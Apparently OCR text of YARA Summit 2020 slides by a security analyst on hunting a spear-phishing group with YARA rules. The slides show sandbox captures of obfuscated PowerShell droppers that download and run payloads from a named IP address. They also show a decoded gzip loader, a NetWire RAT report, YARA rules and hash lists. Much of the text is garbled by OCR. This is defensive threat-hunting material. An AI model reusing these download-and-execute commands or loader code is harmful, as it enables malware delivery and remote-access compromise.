vershell.exe (PID: 5732 cmdline: Powershell.exe -w h $asciiChars="27%28%26%27%2B%27%28%47%27%2B%27%43%27%2B%27%5E %23%5E %27 %2E%72%65%70%6C%61%63%65%28%27 %5E %23%5E %27 %2C %27 %4D %27 %29%2B %27 %20%2A%5
- = 27%

« B po
7%2D%27%2B%27 hdE%24%29%27%2B%
B%27%6F%61%27] j111=gQsiPs (G1())
2%73%27%27%2C i s

S 1sddn=gQsiPs (G2 () )

6%3A%41%5
) yd=gQsiPs (G3())

1A oL AEOLAREOL oL FR9L 0L 7AOL 0L oL 2ROL 0L LA oL FROL LA~

Pow-er-sh-ell
pJITTYHQARXIVL ()

GSNt =Ewval (iup())

xecute (gq0siPs ("CGCbmypgQMar=bbv()+C r e a t e O b j e c t (XHWwvmEUdEZ(""kro wt eN.tpi rcSW"'")).U s e r N a m e+xzl()"))

erucho, "") +oxrgUfceUwDey () +" ' "+CGComypgQMar+ AXYONLEetBcXMXpnV+"'")

if kRRGVLyGSNt = CGCkmypgQMar Then

Xecute (PWnl1lSVQotI())
s

I W R ok W : 7 —
'Net.WebClient).DownloadFile( ' [http://185.177.59.184/yjqf /wscript.vbs ",
Ll e Llisiemsins $env:APPDATA+" "\wscript.vbs'')'|I E X;start-process($env:APPDATA+

D[‘:tmatchesa I ""‘USC"ip: . \-'b:—r l '
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“DESKTOP-group” -- Spear Phishing emails & mail headers
Weird file formats: RTF + XLS

shell.exe (PID: 996 cmdline: Powershell -ExecutionPolicy Bypass $c145=-Join ((111, 105, 130)| ForEach-Object {{ [Convert]:: Tolnt16(([String]$_ ), 8) -As[Char])});sal 0E2 $c145;3mTmPXYJEhxfewHViHevq="24 54 62 6F 6E 65 3D 27 2A 45 58 27 2E 72 65 70 6C 61

63 6528 27 2A 27 2C 27 49 27 29 3B 73 61 6C 20 4D 20 24 54 62 6F 6E 65 3B 64 6F 20 7B 24 70 69 6E 67 20 3D 20 74 65 73 74 2D 63 6F 6E 6E 65 63 74 69 6F 6E 20 2D 63 6F 6D 70 20 67 6F 6F 67 6C 65 2E 63 6F 6D 20 2D 63 6F 75 6E 74 20 31 20 2D 51 756965747
D 20 75 6E 74 69 6C 20 28 24 70 69 6E 67 29 3B 24 70 32 32 20 3D 20 5B 45 6E 75 6D 5D 3A 3A 54 6F
65 6D 2E 4E 65 74 2E 53 65 72 76 69 63 65 50 6F 69 6E 74 4D 61 6E 61 67 65 72 5D 3A 3A 53 6563 75
242424 27 2C 27 4D 27 29 2B 27 20 2A 57 2D 27 2B 27 4F 2A 29 27 2B 20 27 4E 65 27 2B 27 74 2E 2i InPUt
272B277472272B27696E67282727687474703A2F 2F 3138 352E 3137 372E35392E 31
3B24617363696943686172733D20246D76202D73706C697420272D27207C466F72 24
43 68 617273 20 2D 6A 6F 69 6E 20 27 27 7C 4D';5jm=5SmTmPXY JEhxfewHViHevq.Split(' ') | forEach {[i 6C
. conhost.exe (PID: 744 cmdline: C:\Windows\system32\conhost.exe Oxffffffif -ForceV1 MD5: EA7
65

Recipe om QN 28
6E

69

~J
o))
™

)]
U

o

o
~J
~J
~J
u

o

U
m
N
S VR S ]
~J
®

A

w
I
~J
5 O
Ul
w
Ul
w

N
S
N
[av]

(o))
Ul

From Hex

6F 70 2C 73
Q
-

Space

i oY
o
(o))
Ul

)]
U
o

~J
S
~

Find / Replace

NN
03]

N
n n
)]
N

A

Q

- O

test-connection -com
::ToObject([System.Net.SecurityProto

W TRO o o

vicePointManager]::SecurityProtocol

replace('$$%", "M )+" *W-0%)'+
Dow

- A — Al n

inloadString(’ "http://185.177.59.184/yjqf/microsoftnetframework4820190418. jpg’ '

Syntax highlighter
Fortach-Object {[char][byte]"6x$_

A A

powershell
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“DESKTOP-group” -- Spear Phishing emails & mail headers
Weird file formats: RTF + XLS

sh */185.177.59.*
_0608/185.177.59.184_vyjqf_wscript.vbs
_0615/185.177.59.184_vyjqf_microsoftnetframework4820190418. jpg

. R
718778cf967b9f230ab2

h24250b84a8d59c¢ leb 3.15 MB 2020-06-13 17:48:15 UTC

DETECTION DETAILS RELATIONS CONTENT SUBMISSIONS COMMUNITY 0

STRINGS Sy 5 hexdump. */185.177.59.184_yjqf_microsoftnetframework4820190418. § h
100000000 2d 37 35 36 45 2d 36 33 2d 37 34 2d 36 ||66-75-6E-63-74-6|
00000010 . 36 46 2d 45 2d 30 2d 36 38 2d 41 || 9-6F-6E-20-68-5A]

2d 36 2d 35 2d 36 45 2d 34 2d || -44-6C-54-6E-4A-|
32 30 37 42 30 44 2d 30 41 30 §|57-20-7B-0D-0A-0|
41 2d 39 2d 42 2d 34 33 2d 44 J|D-0A-09-5B-43-6D|
2d 36 2d 36 2d 37 34 2d 34 2d || -64-6C-65-74-42-|
36 45 36 34 36 39 2d 36 45 36 J|69-6E-64-69-6E-6|
38 2d 39 2d 44 2d 30 44 2d 41 |§|7-28-29-5D-0D-0A|
2d 32 2d 32 2d 32 30 2d 35 2d §|-20-20-20-20-50-|
37 32 36 31 36 44 2d 32 30 32 §|61-72-61-6D-20-2|
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“DESKTOP-group” -- Spear Phishing emails & mail headers
Weird file formats: RTF + XLS

Recipe

m
m
|

(&)}

m
|

N

CD

(

-20-7B-06D-0A-8D-BA-89-5B-43-6D-64-6C-65-74-42-69 -
-6D-20-28-5B-62-79-74-65-5B-5D-5D-20-24-68-42-68-4E-55-29-0D-0A-20-08D-8A-09-50-72-6F-
-20-20-20-20-20-20-24-50-6B-4E-64-20-3D-20-4E-65-77-2D-4F-62-6A-65-63-74-20-27-53-
-6D-27-2E-52-65-78-6C-61-63-65-28-27-23-23-23-23-23-27-2C-27-6D-2E-4S-4F-2E-4D-65-27-
0-20-20-20-24-54-6A-68-71-66-68-50-64-20-3D-20-4E-65-77-2D-4F-62-6A-65-63-74-20-27-5
-27-2E-52-65-70-6C-61-63-65 -27-23-23-23-23-23-27-2C-27-6D-2E-49-4F-2E-4D-
20-208-20-20-20- -42-67-67-20- -4F-62-6A-65-63-74-208-27-53-79-73-74-65-6D-2E-49-
53-74-72-65-61-6D-27-2E-52-65-70-6C-61-63-65-28-27-40-40-40-40-40-40-40-40-40-27-2C-27-4F-2E-43-6F-6D-70-
69-27-29-20-24-50-6B-4E-64-2C-20-28-5B-49-4F-2E-43-6F-6D-70-72-65-73-73-69-6F-6E-2E-43-6F-6D-70-72-65-73

B
|
o
s
|
(=2}
m
|
v
|
N
0o
I\J

9-5D-@D-0A-20-20-
A-00-20-20-
-23-6D-6F-72-

Find / Replace
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[av]
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r\_)

I
[}
o

|
GD

-20-20-20-208-20-

'OCJC)UJ(D

lj\
v
|
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- 2

7-29 A-2€
49-40-40-406-4¢
2- 3-73-6

|
(=2
)

|
o~
-

|
o~

|
=

Output

function hZD1TndW {
[CmdletBinding()]
Param ([byte[]] $hBhNU)
Process {
$PkNd = New - Object 'Syste#####moryStream’'.Replace( '#####', 'm.I0.Me"') (, $hBhNU )
$TjhgfhPd = New - Object 'Syste#####moryStream’'.Replace( '#####', 'm. IC Me")
$hsBgg = New - Object 'System.I| pStream'.Replace('@ ).Compression.Gzi') $PkNd
([I0.Compression.CompressionMode]: :Decompress
$GibiuR = New - Object byte[](1024)
while ($true)
$GAYk = $hsBgg.Read($GibiuR, 8, 1624)
if ($GAYk - le 8) {
break
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“DESKTO

P-group” -- Spear Phishing emails & mail headers

Weird file formats: RTF + XLS

multiple inputs and a Node APl a

[CmdletBinding () ]
Param ([byte[]] $hBhNU)

Process {
SPkNd = New-Object 'Sy
$TihgfhPd = Ncw—Cb\ect
Ne I
New-Object b

[byte[]] $xCz = ST
Write-Output $xCz

n ~

teFFFFfmoryStream' .Replace ("#####', 'm.I0.Me') ( , ShBhNU )
'SystefffffmoryStream’ .Replace ("###$#%', 'm.I0.Me")
A=A I TETCTCTCICIETC ol b =) (A 200 o 3 -Vl Rl CICTCTCTCIC I I R N o I ofa’ (o s o F- - B Ra) e c-A ) SPkNd, ([IO.Compression.CompressionMode]::Decompress)
vte[] (1024)

jhgfhPd.ToArray

H

: :ToIntlé ( ([
-/45,,/77,,/37,;
:/B7,:;/0D,:/49,:/

6,;/HD,,/22,:X3D,;/A

Stringl$_ ), ‘ b ; Sto; SMNE= (" /1F, /8B, ;/08,;/00,;/00,;/00
/8A /4.".-,,/]3'—,,/—’ . . /8 « fCC . 7 . } . . /8 . 7 . . . :/BE, ;/2F,
Ee, /44,,/ ; /BT, ; ; /1C, ; ;/73,: ; ',,/D-,,/uv,h
3, > ' ¢s/7D,:;/10,;/D8,;/

/lu,,/Fa,,/BS,,/D;,,/4

mw w ~ M
s =~
m

[

break
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Weird file formats: RTF + XLS

Recipe

Find / Replace

/4c 4B,
;/83,;/86,;/

;/C0,;/65,;

8,3/40,;/8
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Gunzip
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Reversing 2020 - YARA Summit | Pushing the Barriers of Unique YARA Uses | Tom Ueltschi | TLP-GREEN

@
®
@®

0060 60 60 ®
®

@®

O 000 O
@

[
@
®
®
®

To Hexdump

o000 0 ®
@ G

o
®
B
® o
®
® ®
© OO N OO
® B
® ©

®
®

OO0 0000000 O ®
®

@

@
OO0 0000000 0 0 ®

® O 0 0 0 ®

® ®

® © ®©
8 8
®
®

® ®

© OO ®

®
®

®
@




“DESKTOP-group” -- Spear Phishing emails & mail headers
Weird file formats: RTF + XLS

Analysis Report{185.177.59.184_yjqf_microsoftnetframework4820190418.jpg.ps1 (&) croat nteracive Tour

Overview

General Information Detection Signatures Classification
Sample Name 185.177.59.184_yjqf_microsoftnetframe . ]

Worka820190418jpg ps1 [) Sigma detected: NetWire
MD5 fc3c9351e14a76ecbfecs7... [ MALICIOUS
SHA1 3c2fc98cf5dedada3095a0... (4

Yara detected NetWire RAT
SHA256 600661395ab1393c2add |:] SUSPICIOUS

ot Contains functionality to steal Chrome passwords or ...
SNO

System process connects to network (likely due to co...

Injects a PE file into a foreign processes
CLEAN d il

Modifies the context of a thread in another process (t...

UNKNGIN Sigma detected: Notepad Making Network Connection

Uses dynamic DNS services

Writes to foreign memory regions

Antivirus or; Machine L ing detection for;

Score an Contains long sleeps (>= 3 min)

Range Creates a process in suspended mode (likely to injec...

Whitelisted

Detected TCP or UDP traffic on non-standard ports
Confidence

Startup

= Systemis w7_1

PID: 3900 cmdline: 'C:\Windows\System32\WindowsPowerShell\v1.0\p

shell.exe’ -noLogo -ExecutionPolicy unrestricted -file 'C:\Users\user\Desktop\185.177.59.184_yjqf_microsoftnetiramework4820190418.jpg.ps1' MD5

= cleanup
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“DESKTOP-group” -- Spear Phishing emails & mail headers
Weird file formats: RTF + XLS

= Systemis w7 _1

powershell.exe (P D: 3900 cmdline: 'C ",'u"n-'indows"Sv:temBZ"‘u’\"indow-'-fsPov.'chhslI'n- 0\powershell exe’ -noLogo -ExecutionPolicy unrestricted -file

Source: Yara match File source: 00000003.00000002.1054132475.00400000.00000040.00000001.sdmp, type: MEMORY
File sourcg Process Memory Space: notepad.exe PID: 4040, type: MEMORY

Sigma detected: NetWire , —
File source: 3.2.notepad.exe.400000.0.raw.unpack, type: UNPACKEDPE

System process connects to network (likely due to co... File source: 3.2.notepad.exe.400000.0.unpack, type: UNPACKEDPE
Yara detected NetWire RAT - System process connects to network (likely due to code injection or exploit)

- Q = 'l\ . ( exe atw < e
Contacted Domains/| S°urce &:\Windows\System32inotepad.ex Network Connect: 81.17

Injects a PE file into a foreign processes

Source: C:\Windows\System32\WindowsPowerShelliv1 Memory written: C:\Windows\System32\notepad.exe base: 400000 value starts with: 4D5A
0\powershell.exe

microsoftnetframework4820190418.duckdns.org [ ] 61.17.56.236

i
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“DESKTOP-group” -- Spear Phishing emails & mail headers
Weird file formats: RTF + XLS

rule DESKTOP_RTF_containing_gxcel
1
meta:

author = "Tom Ueltschi @c_APT_ure”
date = "2020/06"
tlp = "green”
sample_md5 = "fddad4b2493clel88elf10db3c2cef067"
sample_sha256 = "167aafdfaa04977ae83d81al9cae24822b667e0e881ddc19f264c2bfb3e5b09c™

strings:
$rtf_header = "{\\rt
$stril "L\
$str2
$str3
$hexl
$hex2

{\\object\\objupdate\‘\objemb"

“{ \\objclass Excel.sheet”

"{\\*\\objdata "
"01050000020000000e000000457863656Cc2e43686172742e38"
"01050000020000000e000000457863656Cc2e53686565742e38"

condition:
$rtf_header at 0 and
( all of ($str*) or any of (Shex®*) )
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“DESKTOP-group” -- Spear Phishing emails & mail headers
Weird file formats: RTF + XLS

Last Saved / Author / Filename(s) / Hashes (MD5)
- DoaPhnoT

-D
. meta:
=IIFS_Fraud_Complaint_Job.doc author = "Tom veltschi @c_APT_ure"
(blank) date = "2019/10"
' ' refl "https://twitter.com/c_APT_ure/status/1179062052150743040"
-|Mes-vms.fr hashl = "fb053002847ccd76f582a832d75c0a03"
S Mes-vms.fr hash2 = "fdcelb00766a42c81306dbb344a86f61"

. . tlp = "green”
information.doc P g

—/UAC_Bypass.exe strings:
p - - $office_header = { dO cf 11 e0 }
= f8l4e78151b765aasda $username = "C:\\Users\\DAPHNO~1\\" nocase
' =708 NFARRAR] ( Susername_wide = "C:\\Users\\DAPHNO~1'\\" wide nocase
36c22708320401dE8d3 19030152 Suser_1 - { 44 a3 61 50 68 6e 6f 54 }
—RobotMr Suser_wide_1 = { 44 00 a3 00 61 00 50 00 68 00 6e 00 6f 00 54 }
- Jennifer Haze fuser_2 = "Lachatte.kiira"” nocase

L A Suser_wide_2 = "Lachatte.kiira" wide nocase
EUROGIRO_Members_New_Authentication_Settings.doc
VI CMedi . condition:
/LCMediaPlayer.exe $office_header at 0 and any of (S$user®)
acfd7b38aafkd4e7af0394a08258555¢C

26eed4676eb505eb8be430b8070a38

rule DESKTOP_doc_username_daphnot

Activity_Report_Fraud_Transactions.xls
—INETFramework exe Office files

be9alecfd427acd4aZbefecb0f0e477£8cae

5 9e8T7b31lceell4bc4d43e5ef838afas7e’ LaSt saved / aUthor
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“DESKTOP-group” -- Spear Phishing emails & mail headers
Weird file formats: RTF + XLS (Hunting @ home)

cat doc-rtf-files-
echo "**% Sfn
file "S£fn";
mdS5sum "Sfn";
/usr/bin/yara -g /data/yara-rules/ops-rules DESKTOP.yar "S$fn

echo "";

done > doc-rtf-files-2018-2020-yara

LA

10
Q0
H
m
U8

"*DESKTOP_" doc-rtf- 2018-2020-ya? > doc-rtf-files-2

L]
?

x]
m
-~

KTOP " doc-rtf-fi 8-2020-yaz 3 cut -d" "
\IOP_doc placeholder

OP_doc_regsvr

TOP_doc _regsvr URLs

(IOP_doc_username_daphnot

10
Q0
H
m
i
=]
l,‘: DN
-]

-
M=

0 n n n n n n in
LN
N

xR
-

OP doc_username haze

=)
>

TCP 1ﬂc username ncs"msf*
TCP doc JScInamc_IubutmI
(LOP QTF containin _Excel

=)

Mo = W e e e T
=
(S

-J

=)
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“DESKTOP-group” -- Spear Phishing emails & mail headers
Weird file formats: RTF + XLS (Hunting @ home)

cat do
echo
file
mdSs
/usx
echo

done > d

) =B 3 "D

Mo = W = e T

-J

um "Sfn"

-~

sort > doc-rtf-files-2018-2020
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“DESKTOP-group” -- Spear Phishing emails & mail headers
Weird file formats: RTF + XLS (Hunting @ home)

$ cat doc-rtf-files-2018-2020-yara-4
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“DESKTOP-group” -- Spear Phishing emails & mail headers
Weird file formats: MSI + JAR | | RTF + XLS (Hunting @ VT)

& C 0O @ virustotal.com/gui/hunting/retrohunt

2|

New retrohunt job

¢_APT ure-1592239937 4 hours ago
rule DESKTOP_RTF_containing_Excel { meta: author = "Tom Ueltschi @c_APT_ure" date = "2020/06" i

c_APT ure-1592239872 4 hours ago

rule DESKTOP_MSI_containing_JAR { meta: author = "Tom Ueltschi @c_APT_ure" date = "2020/06" tip

C APT ure-1592239937 4 hours ago
rule DESKTOP_RTF_containing_Excel § met

c APT ure-1592239872 4 hours ago
rule DESKTOP_MSI_containing_JAR { met:
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c_APT_ure-1592239872-matches.txt - Notepad

File Edit Format View Help

DESKTOP_MSI containing_JAR:
DESKTOP_MSI containing_JAR:
DESKTOP_MSI_containing_JAR:
DESKTOP_MSI_containing_JAR:
DESKTOP_MSI_containing_JAR:
:4609ec6845a4ade99e94114150a70c1978b1b55b0B4c6b35084df5a03a483cd8b
DESKTOP_MSI containing_ JAR:
DESKTOP_MSI_containing_JAR:
DESKTOP_MSI containing_JAR:
DESKTOP_MSI containing_JAR:
DESKTOP_MSI containing_JAR:
DESKTOP_MSI containing_JAR:
DESKTOP_MSI_containing_JAR:
DESKTOP_MSI_containing_JAR:
DESKTOP_MSI_containing_JAR:
:439319¢e2128e895757b9fd3d2b4ad77858218060b8cff@7ba9ledeb683b259b
DESKTOP_MSI containing_JAR:
DESKTOP_MSI containing_ JAR:
DESKTOP_MSI containing_JAR:
DESKTOP_MSI containing_JAR:
DESKTOP_MSI_containing_JAR:
DESKTOP_MSI_containing_JAR:
DESKTOP_MSI_containing_JAR:
DESKTOP_MSI_containing_JAR:
DESKTOP_MSI containing_ JAR:

DESKTOP_MSI_containing_JAR

DESKTOP_MSI containing_JAR

2d6c8187a88da3465c55c0f6c9b332bc2778be2fbf595fF8F31c77d572c732b7
19418095d1d4c31280c29d15b6eb5d4b6f747b93df6bb6a53146a5de51c744235
18dbc7cc24afacfcedc5fel7d9375F89%eabafl7faadb668ab164ed68ad831dd9
d94b5834dd7caa5f5ad35b125f6a8c49820b785bdb27f2f6f91f79df118b11198
2e9e12df28e590d95b218b3092091d166b5b085505F4b283fdad76d8eld7adc45

cablfbf9d13678c6790f%74d1lae8eb2fbbba55be8a5612114e85299481ab083
3c06c8cB476029d1leb51abdbd5abbbBedf3a45373bbfed19812b86d547be9616
dlef2fd0888297c4802c87024b063155c549274638461abfdbbla5345f77e56¢
e92efed66429d1870b0305b7bf21b45e20e9168983ed76170232e80c2ddf1le5d
1c2a8d7ef971fa6578e55589¢9238dc61711c6245852e7808F58856ea5d9b037
5e94673fa8704febB862aad8e4db118275289879465dbd1d6f4dc115bd761541
0E836d5462ca70ebd769ba9218f@7ff16a8d5cfa33dbf19b8407fff404df9581
e5daald22fa391165f1e39c7348ecdffd70131ceabdblatl4535bab5cb334bc@
5b19402dddcab5e440dd775196035a3e9919bce561e5d4b5c7cdlaad294e2a82

d6e6d621d1d5ccPB9660a28ce363c32c4f357d8c22e358dfab5d3f32fcff4919
aa22dcd503756ec9e86da24bd2682f75445e3ddf6426dc2c4+b4620387bdd49d
c7832c86a68c23b5cdf74cd52e1a382d15bf822cbB0653b3¢c8c392a9831687d8
a2ebfaedd5f2fc021874a54a9525a0a35004e25c6df1a8648eb602868de1b8e9
59a7e7d08911df41b3dblc6ef@d515f1bce2cd49320944198Ffea3dcd51f3elcd
1e9a9d9b4ee7ect286fd6503efcelbe38dd60c9242eeb293539b09c06684cd54
057229felbeddelca2bdbcaff701e76441a85cf557b9d20aB55eedf351+d8193
7e36814353244ad21e4607d32811e0310b86cccBBe71310cba8e571d9¢cbb3dfd
6906c8396d193c1f1c9cf7fcB488e79f3¢c3854b0B57a09181e03a73a63F4b28ea

R 1 220 PRO
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c_APT_ure-1592239872-matches.txt - Notepad

File Edit Format View F
DESKTOP_MSI containir
DESKTOP_MSI containir
DESKTOP_MSI containir
DESKTOP_MSI containir
DESKTOP_MSI_containir
DESKTOP_MSI_containir
DESKTOP_MSI containir
DESKTOP_MSI_ containir
DESKTOP_MSI containir
DESKTOP_MSI containir
DESKTOP_MSI containir
DESKTOP_MSI containir
DESKTOP_MSI containir
DESKTOP_MSI_ containir
DESKTOP_MSI containir
DESKTOP_MSI containir
DESKTOP_MSI_ containir
DESKTOP_MSI containir
DESKTOP_MSI containir
DESKTOP_MSI containir
DESKTOP_MSI containir
DESKTOP_MSI containir
DESKTOP_MSI_containir
DESKTOP_MSI containir
DESKTOP_MSI containir

“DESKTOP-group” -- Spear Phishing emails & mail headers
Weird file formats: MSI + JAR | | RTF + XLS (Hunting @ VT)

| c_APT_ure-1592239937-matches.txt - Notepad

File Edit Format View Help

DESKTOP_RTF_containing_Excel:
DESKTOP_RTF_containing_Excel:
DESKTOP_RTF_containing_Excel:
DESKTOP_RTF_containing_Excel:
DESKTOP_RTF_containing_Excel:
DESKTOP_RTF_containing_ Excel:
DESKTOP_RTF_containing_Excel:
DESKTOP_RTF_containing_Excel:
DESKTOP_RTF_containing_Excel:
DESKTOP_RTF_containing_Excel:
DESKTOP_RTF_containing_Excel:
DESKTOP_RTF_containing_Excel:
DESKTOP_RTF_containing_Excel:
DESKTOP_RTF_containing_Excel:
DESKTOP_RTF_containing_Excel:
DESKTOP_RTF_containing_Excel:
DESKTOP_RTF_containing_Excel:
DESKTOP_RTF_containing_Excel:
DESKTOP_RTF_containing_Excel:
DESKTOP_RTF_containing_Excel:
DESKTOP_RTF_containing_Excel:
DESKTOP_RTF_containing_Excel:
DESKTOP_RTF_containing_Excel:
:48a22a162a5d02fbfbda2f3ae67245b0d751f4877bcd6517e54f0d86c68a34dc
DESKTOP_RTF_containing_Excel:
DESKTOP_RTF_containing_Excel:

DESKTOP_RTF_containing_Excel

8b74c4f5cabbbcd4fe24a21babb1947682acbfob7fc56c544Fc9ecl71b74b2c7
6945a2cda83de3305114¢2350cbc3ead265953551855ac@de3695e5ef5ec1459
ef29c041896342cb4d2ecb5cb8f783ea8d13cd95858848fbede252b7658943ec
bba2697dadebbb9a801353017ce22f46d9dc70ba309a1998b87b3326f5ef53b0
493e773cab86eBalf73438ac9e116972de8cabbclfbce842326e05af8b6580al
bfdfc399686balcl18e8085Ff8a41d57aebd2fe2eb8026c08c893c0048096F4a8ff
3a80b401ac940795195985a76e7cacB0921761c8b3c57d7b8ec4b4+3343ea9833
def95e0992c7bc90fal2f19bed1382e8818b784bB4106e99b178d5bdBaB87994
d85a7df956b125831faf77509665F2dc89c45d45¢c7bf2d92e49cdc2a8bb63db0
b4d5579c4417b6a90490329a031086438e8e57b9%eb614b5ac1dda8601a8d2630
3e13dfa9a0916abdl1f65d362b4bb651548b46ad4d4549ed31113+0d02b9bd329
d80a440755dc15803db459b15b991d1abe810540942d054d965a578b92917b7
370a5a70d12c40cctd22ae590411e9cd90bB861F98F55549ef5che812a2c86¢ch
d731fb3fccbecd266251408a282et44089%ecac94ce25cecadbfcb2df@8e7¢ca7693
8e6132bbb8c51f42f2224eaa5a9cddeatbaadlaf28bc3aacd9182ce338ec7all
d6ae773707ef781389272212c9e78528a70861f5ed14700417396dd698761008
6a2a8874c1febbd80bed8869eb8cba304+619085edebd3b20albcl307e21dcal?
4bel22e8dd51d+5066d485f37db384e331aabc23af6dlld2feabe5b9878225bf
dc89bd9e9eeb2fc7c2678d1f1ef2971ad5d0@7288057a26115b8143¢c1f8f55ded
5d9e490e56cd221486d5a5da89daa973dbadc23a73becd74d521d31317774cf3
7e23486d563171c7123fed7a85fec77f4de285ea56cc1955b54a2bd38ffeadd3
£7058c1944b56cc21d32dfeba380ee582d310b4928328ac955213e29966e75¢ca
bc3ccaB82379¢c89699¢c%eeff80be3f19e74ed42a8d1334f3ecB9ce9ccBb724fbef

6dbc5b531be849e03498a2ac8473afbca5f2a7fc053b580411de8fb8e2e5d2cd
207956c0518cabt4bc772F450cc3128acec324a95147217daded30fe5¢c3752e7

W7
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“DESKTOP-group” -- Spear Phishing emails & mail headers
Weird file formats: MSI + JAR | | RTF + XLS (Hunting @ RL)

<~ CcC 0O & a1000.reversinglabs.com/yara/

AEVERSING | ~1000
LABS

X MyRulesets 44 Ordered By Highest Threat

® ops_rules_DESKTOP_1 user80 tocat By couo [y retro 5] @ 1.3K

Active from 2020-05-1110:43 PM - edite

<IMB
<10MB

200/200 =™

Filtered by are private cloud cloud-retro

- Match Time Threat

B e 3 daysago ByteCode-]JAVA.Trojan.Ratt

B e 4daysamo ByteCode-|AVA.Trojan.Ratty
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“DESKTOP-group” -- Spear Phishing emails & mail headers
Weird file formats: MSI + JAR | | RTF + XLS (Hunting @ RL)

< C 0O & a1000.reversinglabs.com/yara/

® ops_rules DESKTOP_1

Ermmm MDA A AT 1A M DESKTOP RTF cont2ining
JEoON U _ _LONLaein g _

.l SooUUUTAl LU,

L MyRulesets 43 Ordered By Highest Threat

® ops_rules_DESKTOP_1 wocar [ cown Y rero 5] @ 1.3

<1IMB ; Unknown
<10MB Document/None/RTF

2 5 O/Z 5 O e <100MB other formats...
<650MB

>=650MB

@ shared  private  local  @P local cloud cloud-retro

Match Time hreat ame ule les Size

4 daysago b0816e1c490b4d77d1d1d6fadf97fc0321b12ab2 DESKTOP_RTF_containing_Exce 1 492.0KB

1..3cc5eladbb72adcc6397872851e7b092812a138 DESKTOP_RTF_containing_Exce

4 daysago
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Outline

* Introduction
* Automate malware analysis (how far can you go?)

* Using YARA on “uncommon” or “unusual” file types
- PCAP files

- memory-strings & mutexes
- JAR’s (Java RAT’s)

> “DESKTOP-group” -- Spear Phishing emails & mail headers
- YARA for email headers and body
- Weird file formats: MSI + JAR | | RTF + XLS (Hunting @ home / VT / RL)
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Thanks for your attention!!

Time left for questions?

Twitter: @c_APT _ure

Blog:

- all my presentations linked in one place
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http://c-apt-ure.blogspot.com/

NEXT SPEAKER

i

TOM _
UELTSCHI R

IT Security Expert,
Sr. Security Analyst, Transportatior
Swiss Post —




